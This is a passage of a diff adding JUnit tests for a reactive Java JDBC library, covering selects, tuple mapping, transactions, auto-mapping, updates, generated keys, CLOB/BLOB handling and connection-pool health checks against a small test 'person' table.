+                    .select("select name, score, name, score, name, score from person where name=?") //
+                    .parameters("FRED") //
+                    .transacted() //
+                    .getAs(String.class, Integer.class, String.class, Integer.class, String.class,
+                            Integer.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValueCount(2) //
+                    .assertComplete() //
+                    .values().get(0);
+            assertEquals("FRED", t.value()._1());
+            assertEquals(21, (int) t.value()._2());
+            assertEquals("FRED", t.value()._3());
+            assertEquals(21, (int) t.value()._4());
+            assertEquals("FRED", t.value()._5());
+            assertEquals(21, (int) t.value()._6());
+        }
+    }
+
+    @Test
+    public void testSelectTransactedTuple7() {
+        try (Database db = db()) {
+            Tx<Tuple7<String, Integer, String, Integer, String, Integer, String>> t = db //
+                    .select("select name, score, name, score, name, score, name from person where name=?") //
+                    .parameters("FRED") //
+                    .transacted() //
+                    .getAs(String.class, Integer.class, String.class, Integer.class, String.class,
+                            Integer.class, String.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValueCount(2) //
+                    .assertComplete() //
+                    .values().get(0);
+            assertEquals("FRED", t.value()._1());
+            assertEquals(21, (int) t.value()._2());
+            assertEquals("FRED", t.value()._3());
+            assertEquals(21, (int) t.value()._4());
+            assertEquals("FRED", t.value()._5());
+            assertEquals(21, (int) t.value()._6());
+            assertEquals("FRED", t.value()._7());
+        }
+    }
+
+    @Test
+    public void testSelectTransactedTupleN() {
+        List<Tx<TupleN<Object>>> list = db() //
+                .select("select name, score from person where name=?") //
+                .parameters("FRED") //
+                .transacted() //
+                .getTupleN() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValueCount(2) //
+                .assertComplete() //
+                .values();
+        assertEquals("FRED", list.get(0).value().values().get(0));
+        assertEquals(21, (int) list.get(0).value().values().get(1));
+        assertTrue(list.get(1).isComplete());
+        assertEquals(2, list.size());
+    }
+
+    @Test
+    public void testSelectTransactedCount() {
+        db() //
+                .select("select name, score, name, score, name, score, name from person where name=?") //
+                .parameters("FRED") //
+                .transacted() //
+                .count() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValueCount(1) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testSelectTransactedGetAs() {
+        db() //
+                .select("select name from person") //
+                .transacted() //
+                .getAs(String.class) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValueCount(4) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testSelectTransactedGetAsOptional() {
+        List<Tx<Optional<String>>> list = db() //
+                .select("select name from person where name=?") //
+                .parameters("FRED") //
+                .transacted() //
+                .getAsOptional(String.class) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValueCount(2) //
+                .assertComplete() //
+                .values();
+        assertTrue(list.get(0).isValue());
+        assertEquals("FRED", list.get(0).value().get());
+        assertTrue(list.get(1).isComplete());
+    }
+
+    @Test
+    public void testDatabaseFrom() {
+        Database.from(DatabaseCreator.nextUrl(), 3) //
+                .select("select name from person") //
+                .getAs(String.class) //
+                .count() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertError(JdbcSQLException.class);
+    }
+
+    @Test
+    public void testSelectTransactedChained() throws Exception {
+        Database db = db();
+        db //
+                .select("select score from person where name=?") //
+                .parameters("FRED", "JOSEPH") //
+                .transacted() //
+                .transactedValuesOnly() //
+                .getAs(Integer.class) //
+                .doOnNext(
+                        tx -> log.debug(tx.isComplete() ? "complete" : String.valueOf(tx.value())))//
+                .flatMap(tx -> tx //
+                        .select("select name from person where score = ?") //
+                        .parameter(tx.value()) //
+                        .valuesOnly() //
+                        .getAs(String.class)) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoErrors() //
+                .assertValues("FRED", "JOSEPH") //
+                .assertComplete();
+    }
+
+    @Test
+    public void databaseIsAutoCloseable() {
+        try (Database db = db()) {
+            log.debug(db.toString());
+        }
+    }
+
+    @Test
+    public void testSelectChained() {
+        try (Database db = db(1)) {
+            // we can do this with 1 connection only!
+            db.select("select score from person where name=?") //
+                    .parameters("FRED", "JOSEPH") //
+                    .getAs(Integer.class) //
+                    .doOnNext(System.out::println) //
+                    .concatMap(score -> {
+                        log.info("score={}", score);
+                        return db //
+                                .select("select name from person where score = ?") //
+                                .parameter(score) //
+                                .getAs(String.class) //
+                                .doOnComplete(
+                                        () -> log.info("completed select where score=" + score));
+                    }) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertNoErrors() //
+                    .assertValues("FRED", "JOSEPH") //
+                    .assertComplete(); //
+        }
+    }
+
+    @Test
+    @SuppressFBWarnings
+    public void testReadMeFragment1() {
+        try (Database db = db()) {
+            db.select("select name from person") //
+                    .getAs(String.class) //
+                    .forEach(System.out::println);
+        }
+    }
+
+    @Test
+    public void testReadMeFragmentColumnDoesNotExistEmitsSqlSyntaxErrorException() {
+        try (Database db = Database.test()) {
+            db.select("select nam from person") //
+                    .getAs(String.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertNoValues() //
+                    .assertError(SQLSyntaxErrorException.class);
+        }
+    }
+
+    @Test
+    public void testReadMeFragmentDerbyHealthCheck() {
+        try (Database db = Database.test()) {
+            db.select("select 'a' from sysibm.sysdummy1") //
+                    .getAs(String.class) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValue("a") //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    @SuppressFBWarnings
+    public void testTupleSupport() {
+        try (Database db = db()) {
+            db.select("select name, score from person") //
+                    .getAs(String.class, Integer.class) //
+                    .forEach(System.out::println);
+        }
+    }
+
+    @Test
+    public void testDelayedCallsAreNonBlocking() throws InterruptedException {
+        List<String> list = new CopyOnWriteArrayList<String>();
+        try (Database db = db(1)) { //
+            db.select("select score from person where name=?") //
+                    .parameter("FRED") //
+                    .getAs(Integer.class) //
+                    .doOnNext(x -> Thread.sleep(1000)) //
+                    .subscribeOn(Schedulers.io()) //
+                    .subscribe();
+            Thread.sleep(100);
+            CountDownLatch latch = new CountDownLatch(1);
+            db.select("select score from person where name=?") //
+                    .parameter("FRED") //
+                    .getAs(Integer.class) //
+                    .doOnNext(x -> list.add("emitted")) //
+                    .doOnNext(x -> log.debug("emitted on " + Thread.currentThread().getName())) //
+                    .doOnNext(x -> latch.countDown()) //
+                    .subscribe();
+            list.add("subscribed");
+            assertTrue(latch.await(TIMEOUT_SECONDS, TimeUnit.SECONDS));
+            assertEquals(Arrays.asList("subscribed", "emitted"), list);
+        }
+    }
+
+    @Test
+    public void testAutoMapToInterface() {
+        try (Database db = db()) {
+            db //
+                    .select("select name from person") //
+                    .autoMap(Person.class) //
+                    .map(p -> p.name()) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValueCount(3) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testAutoMapToInterfaceWithoutAnnotationstsError() {
+        try (Database db = db()) {
+            db //
+                    .select("select name from person") //
+                    .autoMap(PersonNoAnnotation.class) //
+                    .map(p -> p.name()) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertNoValues() //
+                    .assertError(AnnotationsNotFoundException.class);
+        }
+    }
+
+    @Test
+    public void testAutoMapToInterfaceWithTwoMethods() {
+        try (Database db = db()) {
+            db //
+                    .select("select name, score from person order by name") //
+                    .autoMap(Person2.class) //
+                    .firstOrError() //
+                    .map(Person2::score) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValue(21) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testAutoMapToInterfaceWithExplicitColumnName() {
+        try (Database db = db()) {
+            db //
+                    .select("select name, score from person order by name") //
+                    .autoMap(Person3.class) //
+                    .firstOrError() //
+                    .map(Person3::examScore) //
+                    .test() //
+                    .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                    .assertValue(21) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testAutoMapToInterfaceWithExplicitColumnNameThatDoesNotExist() {
+        db() //
+                .select("select name, score from person order by name") //
+                .autoMap(Person4.class) //
+                .firstOrError() //
+                .map(Person4::examScore) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoValues() //
+                .assertError(ColumnNotFoundException.class);
+    }
+
+    @Test
+    public void testAutoMapToInterfaceWithIndex() {
+        db() //
+                .select("select name, score from person order by name") //
+                .autoMap(Person5.class) //
+                .firstOrError() //
+                .map(Person5::examScore) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(21) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testAutoMapToInterfaceWithIndexTooLarge() {
+        db() //
+                .select("select name, score from person order by name") //
+                .autoMap(Person6.class) //
+                .firstOrError() //
+                .map(Person6::examScore) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoValues() //
+                .assertError(ColumnIndexOutOfRangeException.class);
+    }
+
+    @Test
+    public void testAutoMapToInterfaceWithIndexTooSmall() {
+        db() //
+                .select("select name, score from person order by name") //
+                .autoMap(Person7.class) //
+                .firstOrError() //
+                .map(Person7::examScore) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoValues() //
+                .assertError(ColumnIndexOutOfRangeException.class);
+    }
+
+    @Test
+    public void testAutoMapWithUnmappableColumnType() {
+        db() //
+                .select("select name from person order by name") //
+                .autoMap(Person8.class) //
+                .map(p -> p.name()) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoValues() //
+                .assertError(ClassCastException.class);
+    }
+
+    @Test
+    public void testAutoMapWithMixIndexAndName() {
+        db() //
+                .select("select name, score from person order by name") //
+                .autoMap(Person9.class) //
+                .firstOrError() //
+                .map(Person9::score) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(21) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testAutoMapWithQueryInAnnotation() {
+        db().select(Person10.class) //
+                .get() //
+                .firstOrError() //
+                .map(Person10::score) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(21) //
+                .assertComplete();
+    }
+
+    @Test
+    @Ignore
+    public void testAutoMapForReadMe() {
+        Database //
+                .test() //
+                .select(Person10.class) //
+                .get(Person10::name) //
+                .blockingForEach(System.out::println);
+    }
+
+    @Test(expected = QueryAnnotationMissingException.class)
+    public void testAutoMapWithoutQueryInAnnotation() {
+        db().select(Person.class);
+    }
+
+    @Test
+    public void testSelectWithoutWhereClause() {
+        Assert.assertEquals(3, (long) db().select("select name from person") //
+                .count() //
+                .blockingGet());
+    }
+
+    @Test
+    public void testTuple3() {
+        db() //
+                .select("select name, score, name from person order by name") //
+                .getAs(String.class, Integer.class, String.class) //
+                .firstOrError() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertComplete() //
+                .assertValue(Tuple3.create("FRED", 21, "FRED")); //
+    }
+
+    @Test
+    public void testTuple4() {
+        db() //
+                .select("select name, score, name, score from person order by name") //
+                .getAs(String.class, Integer.class, String.class, Integer.class) //
+                .firstOrError() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertComplete() //
+                .assertValue(Tuple4.create("FRED", 21, "FRED", 21)); //
+    }
+
+    @Test
+    public void testTuple5() {
+        db() //
+                .select("select name, score, name, score, name from person order by name") //
+                .getAs(String.class, Integer.class, String.class, Integer.class, String.class) //
+                .firstOrError() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertComplete().assertValue(Tuple5.create("FRED", 21, "FRED", 21, "FRED")); //
+    }
+
+    @Test
+    public void testTuple6() {
+        db() //
+                .select("select name, score, name, score, name, score from person order by name") //
+                .getAs(String.class, Integer.class, String.class, Integer.class, String.class,
+                        Integer.class) //
+                .firstOrError() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertComplete().assertValue(Tuple6.create("FRED", 21, "FRED", 21, "FRED", 21)); //
+    }
+
+    @Test
+    public void testTuple7() {
+        db() //
+                .select("select name, score, name, score, name, score, name from person order by name") //
+                .getAs(String.class, Integer.class, String.class, Integer.class, String.class,
+                        Integer.class, String.class) //
+                .firstOrError() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertComplete()
+                .assertValue(Tuple7.create("FRED", 21, "FRED", 21, "FRED", 21, "FRED")); //
+    }
+
+    @Test
+    public void testTupleN() {
+        db() //
+                .select("select name, score, name from person order by name") //
+                .getTupleN() //
+                .firstOrError().test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertComplete() //
+                .assertValue(TupleN.create("FRED", 21, "FRED")); //
+    }
+
+    @Test
+    public void testHealthCheck() throws InterruptedException {
+        AtomicBoolean once = new AtomicBoolean(true);
+        testHealthCheck(c -> {
+            log.debug("doing health check");
+            return !once.compareAndSet(true, false);
+        });
+    }
+
+    @Test
+    public void testHealthCheckThatThrows() throws InterruptedException {
+        AtomicBoolean once = new AtomicBoolean(true);
+        testHealthCheck(c -> {
+            log.debug("doing health check");
+            if (!once.compareAndSet(true, false))
+                return true;
+            else
+                throw new RuntimeException("health check failed");
+        });
+    }
+
+    @Test
+    public void testUpdateOneRow() {
+        db().update("update person set score=20 where name='FRED'") //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateThreeRows() {
+        db().update("update person set score=20") //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(3) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateWithParameter() {
+        db().update("update person set score=20 where name=?") //
+                .parameter("FRED").counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateWithParameterTwoRuns() {
+        db().update("update person set score=20 where name=?") //
+                .parameters("FRED", "JOSEPH").counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(1, 1) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateAllWithParameterFourRuns() {
+        db().update("update person set score=?") //
+                .parameters(1, 2, 3, 4) //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(3, 3, 3, 3) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateWithBatchSize2() {
+        db().update("update person set score=?") //
+                .batchSize(2) //
+                .parameters(1, 2, 3, 4) //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(3, 3, 3, 3) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateWithBatchSize3GreaterThanNumRecords() {
+        db().update("update person set score=?") //
+                .batchSize(3) //
+                .parameters(1, 2, 3, 4) //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(3, 3, 3, 3) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testInsert() {
+        Database db = db();
+        db.update("insert into person(name, score) values(?,?)") //
+                .parameters("DAVE", 12, "ANNE", 18) //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(1, 1) //
+                .assertComplete();
+        List<Tuple2<String, Integer>> list = db.select("select name, score from person") //
+                .getAs(String.class, Integer.class) //
+                .toList() //
+                .timeout(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .blockingGet();
+        assertTrue(list.contains(Tuple2.create("DAVE", 12)));
+        assertTrue(list.contains(Tuple2.create("ANNE", 18)));
+    }
+
+    @Test
+    public void testReturnGeneratedKeys() {
+        Database db = db();
+        // note is a table with auto increment
+        db.update("insert into note(text) values(?)") //
+                .parameters("HI", "THERE") //
+                .returnGeneratedKeys() //
+                .getAs(Integer.class)//
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(1, 2) //
+                .assertComplete();
+
+        db.update("insert into note(text) values(?)") //
+                .parameters("ME", "TOO") //
+                .returnGeneratedKeys() //
+                .getAs(Integer.class)//
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(3, 4) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testReturnGeneratedKeysDerby() {
+        Database db = DatabaseCreator.createDerby(1);
+
+        // note is a table with auto increment
+        db.update("insert into note2(text) values(?)") //
+                .parameters("HI", "THERE") //
+                .returnGeneratedKeys() //
+                .getAs(Integer.class)//
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoErrors().assertValues(1, 3) //
+                .assertComplete();
+
+        db.update("insert into note2(text) values(?)") //
+                .parameters("ME", "TOO") //
+                .returnGeneratedKeys() //
+                .getAs(Integer.class)//
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(5, 7) //
+                .assertComplete();
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testReturnGeneratedKeysWithBatchSizeShouldThrow() {
+        Database db = db();
+        // note is a table with auto increment
+        db.update("insert into note(text) values(?)") //
+                .parameters("HI", "THERE") //
+                .batchSize(2) //
+                .returnGeneratedKeys();
+    }
+
+    @Test
+    public void testTransactedReturnGeneratedKeys() {
+        Database db = db();
+        // note is a table with auto increment
+        db.update("insert into note(text) values(?)") //
+                .parameters("HI", "THERE") //
+                .transacted() //
+                .returnGeneratedKeys() //
+                .valuesOnly() //
+                .getAs(Integer.class)//
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(1, 2) //
+                .assertComplete();
+
+        db.update("insert into note(text) values(?)") //
+                .parameters("ME", "TOO") //
+                .transacted() //
+                .returnGeneratedKeys() //
+                .valuesOnly() //
+                .getAs(Integer.class)//
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(3, 4) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testTransactedReturnGeneratedKeys2() {
+        Database db = db();
+        // note is a table with auto increment
+        Flowable<Integer> a = db.update("insert into note(text) values(?)") //
+                .parameters("HI", "THERE") //
+                .transacted() //
+                .returnGeneratedKeys() //
+                .valuesOnly() //
+                .getAs(Integer.class);
+
+        db.update("insert into note(text) values(?)") //
+                .parameters("ME", "TOO") //
+                .transacted() //
+                .returnGeneratedKeys() //
+                .valuesOnly() //
+                .getAs(Integer.class)//
+                .startWith(a) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(1, 2, 3, 4) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateWithinTransaction() {
+        db() //
+                .select("select name from person") //
+                .transactedValuesOnly() //
+                .getAs(String.class) //
+                .doOnNext(System.out::println) //
+                .flatMap(tx -> tx//
+                        .update("update person set score=-1 where name=:name") //
+                        .batchSize(1) //
+                        .parameter("name", tx.value()) //
+                        .valuesOnly() //
+                        .counts()) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(1, 1, 1) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testSelectDependsOnFlowable() {
+        Database db = db();
+        Flowable<Integer> a = db.update("update person set score=100 where name=?") //
+                .parameter("FRED") //
+                .counts();
+        db.select("select score from person where name=?") //
+                .parameter("FRED") //
+                .dependsOn(a) //
+                .getAs(Integer.class)//
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(100) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testSelectDependsOnObservable() {
+        Database db = db();
+        Observable<Integer> a = db.update("update person set score=100 where name=?") //
+                .parameter("FRED") //
+                .counts().toObservable();
+        db.select("select score from person where name=?") //
+                .parameter("FRED") //
+                .dependsOn(a) //
+                .getAs(Integer.class)//
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(100) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testSelectDependsOnOnSingle() {
+        Database db = db();
+        Single<Long> a = db.update("update person set score=100 where name=?") //
+                .parameter("FRED") //
+                .counts().count();
+        db.select("select score from person where name=?") //
+                .parameter("FRED") //
+                .dependsOn(a) //
+                .getAs(Integer.class)//
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(100) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testSelectDependsOnCompletable() {
+        Database db = db();
+        Completable a = db.update("update person set score=100 where name=?") //
+                .parameter("FRED") //
+                .counts().ignoreElements();
+        db.select("select score from person where name=?") //
+                .parameter("FRED") //
+                .dependsOn(a) //
+                .getAs(Integer.class)//
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(100) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateWithinTransactionBatchSize0() {
+        db() //
+                .select("select name from person") //
+                .transactedValuesOnly() //
+                .getAs(String.class) //
+                .doOnNext(System.out::println) //
+                .flatMap(tx -> tx//
+                        .update("update person set score=-1 where name=:name") //
+                        .batchSize(0) //
+                        .parameter("name", tx.value()) //
+                        .valuesOnly() //
+                        .counts()) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(1, 1, 1) //
+                .assertComplete();
+    }
+
+    private static void info() {
+        LogManager.getRootLogger().setLevel(Level.INFO);
+    }
+
+    private static void debug() {
+        LogManager.getRootLogger().setLevel(Level.INFO);
+    }
+
+    @Test
+    public void testCreateBig() {
+        info();
+        big(5).select("select count(*) from person") //
+                .getAs(Integer.class) //
+                .test().awaitDone(20, TimeUnit.SECONDS) //
+                .assertValue(5163) //
+                .assertComplete();
+        debug();
+    }
+
+    @Test
+    public void testTxWithBig() {
+        info();
+        big(1) //
+                .select("select name from person") //
+                .transactedValuesOnly() //
+                .getAs(String.class) //
+                .flatMap(tx -> tx//
+                        .update("update person set score=-1 where name=:name") //
+                        .batchSize(1) //
+                        .parameter("name", tx.value()) //
+                        .valuesOnly() //
+                        .counts()) //
+                .count() //
+                .test().awaitDone(20, TimeUnit.SECONDS) //
+                .assertValue((long) NAMES_COUNT_BIG) //
+                .assertComplete();
+        debug();
+    }
+
+    @Test
+    public void testTxWithBigInputBatchSize2000() {
+        info();
+        big(1) //
+                .select("select name from person") //
+                .transactedValuesOnly() //
+                .getAs(String.class) //
+                .flatMap(tx -> tx//
+                        .update("update person set score=-1 where name=:name") //
+                        .batchSize(2000) //
+                        .parameter("name", tx.value()) //
+                        .valuesOnly() //
+                        .counts()) //
+                .count() //
+                .test().awaitDone(20, TimeUnit.SECONDS) //
+                .assertValue((long) NAMES_COUNT_BIG) //
+                .assertComplete();
+        debug();
+    }
+
+    @Test
+    public void testInsertNullClobAndReadClobAsString() {
+        Database db = db();
+        insertNullClob(db);
+        db.select("select document from person_clob where name='FRED'") //
+                .getAsOptional(String.class) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(Optional.<String>empty()) //
+                .assertComplete();
+    }
+
+    private static void insertNullClob(Database db) {
+        db.update("insert into person_clob(name,document) values(?,?)") //
+                .parameters("FRED", Database.NULL_CLOB) //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testClobMethod() {
+        assertEquals(Database.NULL_CLOB, Database.clob(null));
+    }
+
+    @Test
+    public void testBlobMethod() {
+        assertEquals(Database.NULL_BLOB, Database.blob(null));
+    }
+
+    @Test
+    public void testClobMethodPresent() {
+        assertEquals("a", Database.clob("a"));
+    }
+
+    @Test
+    public void testBlobMethodPresent() {
+        byte[] b = new byte[1];
+        assertEquals(b, Database.blob(b));
+    }
+
+    @Test
+    public void testDateOfBirthNullableForReadMe() {
+        Database.test() //
+                .select("select date_of_birth from person where name='FRED'") //
+                .getAsOptional(Instant.class) //
+                .blockingForEach(System.out::println);
+    }
+
+    @Test
+    public void testInsertNullClobAndReadClobAsTuple2() {
+        Database db = db();
+        insertNullClob(db);
+        db.select("select document, document from person_clob where name='FRED'") //
+                .getAs(String.class, String.class) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(Tuple2.create(null, null)) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testInsertClobAndReadClobAsString() {
+        Database db = db();
+        db.update("insert into person_clob(name,document) values(?,?)") //
+                .parameters("FRED", "some text here") //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1) //
+                .assertComplete();
+        db.select("select document from person_clob where name='FRED'") //
+                .getAs(String.class) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) // .assertValue("some
+                                                                     // text
+                                                                     // here")
+                                                                     // //
+                .assertComplete();
+    }
+
+    @Test
+    public void testInsertClobAndReadClobUsingReader() {
+        Database db = db();
+        db.update("insert into person_clob(name,document) values(?,?)") //
+                .parameters("FRED", "some text here") //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1) //
+                .assertComplete();
+        db.select("select document from person_clob where name='FRED'") //
+                .getAs(Reader.class) //
+                .map(r -> read(r)).test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue("some text here") //
+                .assertComplete();
+    }
+
+    @Test
+    public void testInsertBlobAndReadBlobAsByteArray() {
+        Database db = db();
+        insertPersonBlob(db);
+        db.select("select document from person_blob where name='FRED'") //
+                .getAs(byte[].class) //
+                .map(b -> new String(b)) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue("some text here") //
+                .assertComplete();
+    }
+
+    private static void insertPersonBlob(Database db) {
+        byte[] bytes = "some text here".getBytes();
+        db.update("insert into person_blob(name,document) values(?,?)") //
+                .parameters("FRED", bytes) //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testInsertBlobAndReadBlobAsInputStream() {
+        Database db = db();
+        byte[] bytes = "some text here".getBytes();
+        db.update("insert into person_blob(name,document) values(?,?)") //
+                .parameters("FRED", new ByteArrayInputStream(bytes)) //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1) //
+                .assertComplete();
+        db.select("select document from person_blob where name='FRED'") //
+                .getAs(InputStream.class) //
+                .map(is -> read(is)) //
+                .map(b -> new String(b)) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue("some text here") //
+                .assertComplete();
+    }
+
+    private static String read(Reader reader) throws IOException {
+        StringBuffer s = new StringBuffer();
+        char[] ch = new char[128];
+        int n = 0;
+        while ((n = reader.read(ch)) != -1) {
+            s.append(ch, 0, n);
+        }
+        reader.close();
+        return s.toString();
+    }
+
+    private static byte[] read(InputStream is) throws IOException {
+        ByteArrayOutputStream bytes = new ByteArrayOutputStream();
+        byte[] b = new byte[128];
+        int n = 0;
+        while ((n = is.read(b)) != -1) {
+            bytes.write(b, 0, n);
+        }
+        is.close();
+        return bytes.toByteArray();
+    }
+
+    private void testHealthCheck(Predicate<Connection> healthy) throws InterruptedException {
+        TestScheduler scheduler = new TestScheduler();
+
+        NonBlockingConnectionPool pool = Pools //
+                .nonBlocking() //
+                .connectionProvider(DatabaseCreator.connectionProvider()) //
+                .maxIdleTime(10, TimeUnit.MINUTES) //
+                .idleTimeBeforeHealthCheck(0, TimeUnit.MINUTES) //
+                .healthy(healthy) //
+                .returnToPoolDelayAfterHealthCheckFailure(1, TimeUnit.MINUTES) //
+                .scheduler(scheduler) //
+                .maxPoolSize(1) //
+                .build();
+
+        try (Database db = Database.from(pool)) {
+            TestSubscriber<Integer> ts0 = db.select( //
+                    "select score from person where name=?") //
+                    .parameter("FRED") //
+                    .getAs(Integer.class) //
+                    .test();
+            ts0.assertValueCount(0) //
+                    .assertNotComplete();
+            scheduler.advanceTimeBy(1, TimeUnit.MINUTES);
+            ts0.assertValueCount(1) //
+                    .assertComplete();
+            TestSubscriber<Integer> ts = db.select( //
+                    "select score from person where name=?") //
+                    .parameter("FRED") //
+                    .getAs(Integer.class) //
+                    .test() //
+                    .assertValueCount(0);
+            log.debug("done2");
+            scheduler.advanceTimeBy(1, TimeUnit.MINUTES);
+            Thread.sleep(200);
+            ts.assertValueCount(1);
+            Thread.sleep(200);
+            ts.assertValue(21) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testShutdownBeforeUse() {
+        NonBlockingConnectionPool pool = Pools //
+                .nonBlocking() //
